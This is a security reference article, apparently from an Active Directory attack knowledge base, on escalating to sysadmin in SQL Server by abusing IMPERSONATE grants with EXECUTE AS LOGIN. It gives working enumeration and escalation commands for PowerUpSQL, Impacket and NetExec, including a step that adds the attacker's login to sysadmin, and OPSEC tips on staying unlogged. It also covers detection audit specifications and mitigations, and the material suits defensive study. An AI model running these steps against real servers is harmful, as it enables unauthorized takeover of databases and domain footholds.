How it works
SQL Server has two layers of identity. A login is a server-level principal: either a Windows account or group admitted through Windows authentication, or a SQL login with its own password when the instance runs in mixed mode. A user is a database-level principal that a login maps to inside one database.
The EXECUTE AS statement switches the execution context of a session to another principal, and REVERT switches it back. It exists so that applications and administrators can test or run something with another identity's rights. The switch is governed by one permission:
IMPERSONATEon a login allowsEXECUTE AS LOGIN = '<name>'. The scope is the whole server: the session now has the server roles and permissions of the target login.IMPERSONATEon a database user allowsEXECUTE AS USER = '<name>'. The scope is the current database only. Microsoft documents that a switch to a database user does not inherit server-level permissions, and that access to resources outside the database fails while it is active.IMPERSONATE ANY LOGINis a server permission that covers every login.- Members of the
sysadminfixed server role can impersonate anyone without a grant.
The abuse is simple. Somebody granted IMPERSONATE on a privileged login, often sa or an application login that is a member of sysadmin, to a weaker login: a developer, an application account, sometimes a login mapped to a whole Windows group. Whoever controls the weaker login runs one statement and becomes the stronger one. Grants can also chain: login A may impersonate B, and B may impersonate a sysadmin.
No password of the target login is involved, and nothing is exploited. The attacker uses a valid account and a permission that was granted on purpose, which is why this maps to Valid Accounts in ATT&CK and why it is a privilege escalation inside the database tier.
Three things are easy to confuse and worth keeping apart:
- A Windows logon to the server and a SQL session are different. A successful OS logon does not establish database access, and being a domain user does not by itself grant
sysadmin. - A SQL login and a domain user can share a name and be unrelated. Check the principal type.
- A database role does not imply a server role.
db_ownerin one database is notsysadmin.
Prerequisites
- Network access to the instance (TCP 1433 by default, or the named instance's port).
- A login on the instance. With Windows authentication this is often any domain account, because a login was created for a broad group. With mixed mode it can be a SQL login with a known or guessed password.
- An
IMPERSONATEgrant from that login, or from a group or role it belongs to, to a more privileged login or user. OrIMPERSONATE ANY LOGIN.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find SQL Server instances
Instances that use Kerberos register an MSSQLSvc service principal name, so any domain user can list them from the directory. PowerUpSQL does the lookup and tests which instances the current account can log in to:
Import-Module .\PowerUpSQL.psd1
# Instances registered in the domain
Get-SQLInstanceDomain -Verbose
# Which of them accept the current account
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10
2. Connect and check who you are
From Linux, Impacket's client connects with a domain account (-windows-auth) or a SQL login (without it):
mssqlclient.py -windows-auth corp.example.com/alice@SRV01.corp.example.com
SELECT SYSTEM_USER AS current_login,
ORIGINAL_LOGIN() AS original_login,
IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
3. List the impersonation grants
The grants are in the server catalog. For an IMPERSONATE permission on a login, major_id is the principal id of the login that can be impersonated:
SELECT grantee.name AS grantee,
perm.permission_name,
target.name AS can_impersonate
FROM sys.server_permissions AS perm
JOIN sys.server_principals AS grantee ON perm.grantee_principal_id = grantee.principal_id
LEFT JOIN sys.server_principals AS target ON perm.major_id = target.principal_id
WHERE perm.permission_name IN ('IMPERSONATE', 'IMPERSONATE ANY LOGIN');
The Impacket shell has this built in, together with listings of logins and database users:
SQL> enum_impersonate
SQL> enum_logins
SQL> enum_users
NetExec checks one or many instances for a login that can impersonate a privileged one:
nxc mssql 192.0.2.40 -u alice -p '<password>' -M mssql_priv
# A SQL login instead of a domain account
nxc mssql 192.0.2.40 -u appuser -p '<password>' --local-auth -M mssql_priv
PowerUpSQL's audit function reports the same finding among its other checks:
Invoke-SQLAudit -Verbose -Instance SRV01.corp.example.com
4. Switch context
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER AS current_login,
ORIGINAL_LOGIN() AS original_login,
IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
-- ... statements run with the rights of sa ...
REVERT;
In the Impacket shell the same switch is exec_as_login sa, and exec_as_user dbo for a database user. For a database-level grant:
USE AppDb;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
REVERT;
5. Make it permanent (optional)
NetExec's module can use the impersonation to add the attacker's own login to sysadmin, and undo it afterwards:
nxc mssql 192.0.2.40 -u alice -p '<password>' -M mssql_priv -o ACTION=privesc
nxc mssql 192.0.2.40 -u alice -p '<password>' -M mssql_priv -o ACTION=rollback
Impact
With a sysadmin context the attacker controls the instance: every database and its data, every login, the configuration, and the audit settings. For the business this is the data breach.
For the domain it is a stepping stone. A sysadmin can enable and run xp_cmdshell, which starts Windows processes as the SQL Server service account, often a domain account with rights on other servers. The same context reaches other instances through linked servers and can make the service account authenticate to an attacker's host through a UNC path. When the impersonation is database-scoped only, the gain is limited to that database.
OPSEC and artifacts
- Staying inside the session.
EXECUTE AScreates no new connection and no Windows logon. Without SQL Server Audit, nothing records it. With a server audit specification that includesSERVER_PRINCIPAL_IMPERSONATION_GROUP, each switch is written with the original and the effective login.ORIGINAL_LOGIN()keeps returning the real login for the whole session, so later audit records still tie actions to it. - Reverting. Operators switch, do one thing and
REVERT, to keep the time spent as another login short. The impersonation record is written at the switch, not at the end. - Not changing roles. Adding the attacker's login to
sysadminis convenient and loud: it is a permanent change insys.server_role_members, andSERVER_ROLE_MEMBER_CHANGE_GROUPaudits it. Impersonating on each use leaves no configuration change. - The connection itself. A Windows-authenticated connection is a network logon on the SQL Server host (event 4624 type 3) and a Kerberos service ticket request for the
MSSQLSvcSPN on a domain controller (event 4769). A SQL login creates neither; failed SQL logins go to the SQL Server error log, which by default records failed logins only. - Enumeration. Listing SPNs and testing logins against every instance in the domain produces a burst of LDAP queries and of connections from one workstation to many database servers.
- A sysadmin can cover tracks. Once sysadmin, the attacker can stop or alter a server audit. Audit changes are themselves audited (
AUDIT_CHANGE_GROUP), and shipping audit records off the server as they are written keeps them out of reach. - Shared application logins. A connection pool login represents many application users. The audit record names the pool login, not the person behind the application.
Detection
Windows logs do not see this attack. It needs SQL Server Audit on the instances that matter:
USE master;
CREATE SERVER AUDIT ImpersonationAudit TO APPLICATION_LOG;
ALTER SERVER AUDIT ImpersonationAudit WITH (STATE = ON);
CREATE SERVER AUDIT SPECIFICATION ImpersonationSpec
FOR SERVER AUDIT ImpersonationAudit
ADD (SERVER_PRINCIPAL_IMPERSONATION_GROUP),
ADD (SERVER_ROLE_MEMBER_CHANGE_GROUP),
ADD (SERVER_PERMISSION_CHANGE_GROUP),
ADD (AUDIT_CHANGE_GROUP)
WITH (STATE = ON);
Add DATABASE_PRINCIPAL_IMPERSONATION_GROUP in a database audit specification for EXECUTE AS USER. Audit groups and fields differ between SQL Server versions, so check the specification on each instance.
What to look for:
- Any impersonation of a sysadmin login by a login that is not a database administrator. Compare the original session principal with the effective server principal.
- Impersonation followed by a configuration change, a role change or a shell command in the same session.
- New
IMPERSONATEgrants and new sysadmin members. - One workstation connecting to many SQL Server instances in a short time (network logons on the database hosts).
Stored procedures and modules legitimately change context all the time with an EXECUTE AS clause, so database-level records need a baseline of the application's normal behavior. A grant alone shows capability. An impersonation record followed by an action under the target login in the same session shows use.
The better control is preventive. Run the query from step 3 on every instance and review each row.
Mitigation
- Remove
IMPERSONATEgrants that target privileged logins. No application login should be able to impersonatesaor a member ofsysadmin. ReviewIMPERSONATE ANY LOGINandCONTROL SERVERthe same way, and remember that role membership can supply the authority without a named grant. - Apply least privilege to logins. Do not create logins for broad groups such as Domain Users. Give each application its own login with rights in its own database only.
- Prefer Windows authentication where the application allows it, and list every SQL login that must stay as an approved exception. Disable or rename
sa. - Use a module with a narrow
EXECUTE ASclause where an application needs one elevated operation, instead of a session-wide impersonation right. - Limit what sysadmin leads to. Run the SQL Server service under a group managed service account with no rights beyond the database host. See how to secure Active Directory service accounts.
- Turn on SQL Server Audit with the impersonation groups and send the records to a collector that database administrators cannot alter. The Windows side of the logging is covered in the audit policy guide.
- Test before removing. Check application compatibility before retiring a login or revoking a grant.
Log events to collect
FAQ
What permission does EXECUTE AS LOGIN need?
IMPERSONATE on the target login, and no denial of IMPERSONATE ANY LOGIN. Members of the sysadmin role can impersonate any login without a grant. The permission is set per login, so one forgotten grant on a privileged login is enough for the attack.
What is the difference between EXECUTE AS LOGIN and EXECUTE AS USER?
EXECUTE AS LOGIN switches the server-level identity, so the session gets the server roles of the target login. EXECUTE AS USER switches only the identity inside the current database. Microsoft documents that it does not inherit server-level permissions and that access to anything outside the database fails while it is active.
Does impersonation appear in the Windows Security log?
No. The context switch happens inside the SQL Server session and creates no Windows logon. It is recorded only by SQL Server Audit, when a server audit specification includes the SERVER_PRINCIPAL_IMPERSONATION_GROUP action group, or the database equivalent for EXECUTE AS USER.
Why is this an Active Directory problem?
SQL Server instances usually accept Windows authentication and often grant a login to a broad domain group. Any domain user can find instances through their service principal names and connect. From sysadmin on the instance, the attacker reaches the SQL Server service account, which is a domain account with rights of its own.
References
- EXECUTE AS (Transact-SQL) (Microsoft Learn)
- Valid Accounts, T1078 (MITRE ATT&CK)
- Choose an authentication mode (Microsoft Learn)
- sys.server_permissions (Transact-SQL) (Microsoft Learn)
- SQL Server Audit action groups and actions (Microsoft Learn)
- NetExec wiki: MSSQL privilege escalation
- PowerUpSQL cheat sheet (NetSPI)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.